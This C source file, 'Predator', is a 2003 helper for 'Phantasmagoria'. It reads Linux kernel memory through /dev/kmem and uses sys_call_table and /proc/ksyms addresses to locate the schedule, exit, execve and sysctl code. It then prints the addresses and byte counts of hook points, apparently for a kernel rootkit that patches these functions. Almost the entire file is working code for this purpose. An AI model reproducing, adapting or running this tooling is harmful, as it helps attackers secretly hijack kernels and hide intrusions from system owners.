/*
 *
 * Predator is the new raw memory parser built for Phantasmagoria, its accuracy
 * is quite high. It requires libdisasm [bastard.sourceforg.net] to run.
 *
 * Copyright (c) 2003 Pierre Falda <DarkAngel@Antifork.org>
 *    
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *
 * Note:
 *
 * buld included tconfig.h doing this:
 *
 * echo \#define SCHEDULE 0x`cat /proc/ksyms | grep " schedule_R" | cut -f1 -d" "` >> tconfig.h
 * echo \#define POST_EXECVE 0x`cat /proc/ksyms | grep "set_binfmt" | cut -f1 -d" "` >> tconfig.h
 * echo \#define SYS_CALL_TABLE 0x`cat /proc/ksyms | grep "sys_call_table" | cut -f1 -d" "` >> tconfig.h
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <bastard.h>
#include <libdis.h>
#include <sys/syscall.h>
#include <unistd.h>

#include "tconfig.h"
#define KMEM "/dev/kmem"
#define SIZE 20
#define BACKJUMP 20
#define FORWARD 20
#define BACKWARD 24
#define RETRO 10

int             stalk_schedule(int fd, unsigned long *address);
int             stalk_exit(int fd, unsigned long *address);
int             stalk_execve(int fd, unsigned long *address);
int             stalk_sysctl(int fd, unsigned long *address);

int
main(void)
{
    int             file_descriptor;
    off_t           offset;
    if ((file_descriptor = open(KMEM, O_RDONLY)) < 0) {
	fprintf(stderr, "Cannot open kmem\n");
	exit(-1);
    }
    offset = lseek(file_descriptor, SCHEDULE, SEEK_SET);
    if (offset < SCHEDULE) {
	fprintf(stderr, "Cannot set right offset\n");
	close(file_descriptor);
	exit(-1);
    }
    disassemble_init(0, ATT_SYNTAX);

    if ((stalk_schedule(file_descriptor, (unsigned long *) &offset)) < 0)
	exit(-1);
    if ((stalk_exit(file_descriptor, (unsigned long *) &offset)) < 0)
	exit(-1);
    if ((stalk_execve(file_descriptor, (unsigned long *) &offset)) < 0)
	exit(-1);
    if ((stalk_sysctl(file_descriptor, (unsigned long *) &offset)) < 0)
	exit(-1);

    disassemble_cleanup();
    close(file_descriptor);
    return 0;
}			

int
stalk_schedule(int fd, unsigned long *address)
{
    unsigned static char buffer[SIZE] = { 0 };
    short           pos,
                    k,
                    i,
                    j,
                    r = 0,
                    c = 0;
    struct instr    istruzione;

    if ((lseek(fd, (off_t) ((*address)), SEEK_SET)) == -1) {
	fprintf(stderr, "Cannot lseek\n");
	return -1;
    }

    for (i = 0;; i += j) {

	if (lseek(fd, (*address) + i, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE) {
	    fprintf(stderr, "Cannot read\n");
	    return -1;
	}
	if ((j = disassemble_address(buffer, &istruzione))) {

	    if (istruzione.src[0] != 0)
		if ((strstr(istruzione.src, "FFFFFC18")))
		    break;	

	} else
	    j = 1;
    }
    k = j;
    r = j + i;
    while (k < 7) {
	if (lseek(fd, (*address) + r, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE) {
	    fprintf(stderr, "Cannot read\n");
	    return -1;
	}


	if ((j = disassemble_address(buffer, &istruzione)));
	else {
	    j = 1;
	}
	k += j;
	r += j;
    }



    printf("#define SCHEDULE_S 0x%lx\n#define SIZEHOOK_1 %d\n",
	   (*address) + i, k);

    *address = (*address) + i;
    if ((lseek(fd, *address, SEEK_SET)) == -1) {
	fprintf(stderr, "Cannot lseek\n");
	return -1;
    }

    pos = r = c = k = j = 0;
    for (i = 0;; i += j) {
	if (lseek(fd, (off_t) (*address) + i, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE) {
	    fprintf(stderr, "Cannot read\n");
	    return -1;
	}
	if ((j = disassemble_address(buffer, &istruzione))) {
	    if (istruzione.mnemonic[0] != 0) {
		if ((strstr(istruzione.mnemonic, "cli")))
		    k = 1;
	    }
	    if (k > 0)
		if ((strstr(istruzione.mnemonic, "mov")))
		    break;

	} else
	    j = 1;
    }
    k = j;
    r = j + i;
    while (k < 7) {
	if (lseek(fd, (*address) + r, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE)
	    return -1;


	if ((j = disassemble_address(buffer, &istruzione)));
	else
	    j = 1;
	k += j;
	r += j;

    }



    printf("#define SCHEDULE_E 0x%lx\n#define SIZEHOOK_2 %d\n",
	   (*address) + i, k);


    return 0;
}

int
stalk_exit(int fd, unsigned long *address)
{
    unsigned long   table[20][2] = { {0} };
    unsigned long   s_c_t[256] = { 0 };
    unsigned static char buffer[SIZE] = { 0 };
    int             i,
                    j,
                    
                    r;
    struct instr    istruzione;
    *address = SYS_CALL_TABLE;
    if (lseek(fd, (*address), SEEK_SET) == -1)
	return -1;

    if (read(fd, s_c_t, 256 * 4) <= 0)
	return -1;

    *address = s_c_t[__NR_exit];

    for (i = 0, j = 0;; i += j) {
	if (lseek(fd, (*address) + i, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE) {
	    fprintf(stderr, "Cannot read\n");
	    return -1;
	}
	if ((j = disassemble_address(buffer, &istruzione))) {
	    if (istruzione.mnemonic[0] != 0)
		if ((strstr(istruzione.mnemonic, "call"))) {
		    *address =
			(*address) + i + j + strtoul(istruzione.dest, NULL,
						     16);

		    break;
		}
	} else
	    j = 1;
    }
    *address = (*address) - BACKWARD;
    for (i = 0, j = 0, r = 0; i < BACKWARD; i += j) {

	if (lseek(fd, (*address) + i, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE) {
	    fprintf(stderr, "Cannot read\n");
	    return -1;
	}
	if ((j = disassemble_address(buffer, &istruzione))) {

	    table[r][0] = (*address) + i;
	    table[r++][1] = j;

	} else
	    j = 1;
    }

    for (r = 0; table[r][1] != 0; r++);
    r--;
    j = table[r][1];
    while (j < 7) {
	r--;
	j += table[r][1];
    }
    printf("#define EXIT_NOTIFY_END 0x%lx\n#define SIZEHOOK_3 %d\n",
	   table[r][0], j);



    return 0;
}

int
stalk_execve(int fd, unsigned long *address)
{
    unsigned long   table[20][2] = { {0} };
    unsigned static char buffer[SIZE];
    struct instr    istruzione;
    int             i,
                    j,
                    r;
    *address = POST_EXECVE - BACKWARD;
    for (i = 0, j = 0, r = 0; i < BACKWARD; i += j) {
	if (lseek(fd, (*address) + i, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE) {
	    fprintf(stderr, "Cannot read\n");
	    return -1;
	}
	if ((j = disassemble_address(buffer, &istruzione))) {
	    table[r][0] = (*address) + i;
	    table[r++][1] = j;
	} else
	    j = 1;
    }
    for (r = 0; table[r][1] != 0; r++);
    r--;
    while (j < 7) {
	r--;
	j += table[r][1];
    }
    printf("#define DO_EXECVE_END 0x%lx\n#define SIZEHOOK_4 %d\n",
	   table[r][0], j);
    return 0;
}
int
stalk_sysctl(int fd, unsigned long *address)
{
    unsigned char   buffer[SIZE];
    unsigned long   s_c_t[256];
    struct instr    istruzione;
    int             i,
                    j;


    *address = SYS_CALL_TABLE;
    if (lseek(fd, (*address), SEEK_SET) == -1)
	return -1;

    if (read(fd, s_c_t, 256 * 4) <= 0)
	return -1;

    *address = s_c_t[__NR__sysctl];
    for (i = 0;; i += j) {
	if (lseek(fd, (*address) + i, SEEK_SET) == -1)
	    return -1;
	if (read(fd, buffer, SIZE) < SIZE) {
	    fprintf(stderr, "Cannot read\n");
	    return -1;
	}

	if ((j = disassemble_address(buffer, &istruzione))) {
	    if (istruzione.mnemonic[0] != 0)
		if ((strstr(istruzione.mnemonic, "call"))) {
		    if (istruzione.dest[0] != 0)
			if (((*address) + i + j +
			     strtoul(istruzione.dest, NULL,
				     16)) < (*address)) {
			    printf("#define DO_SYSCTL 0x%lx\n",
				   (*address) + i + j +
				   strtoul(istruzione.dest, NULL, 16));

			    break;
			}
		}




	} else
	    j = 1;
    }
    return 0;
}
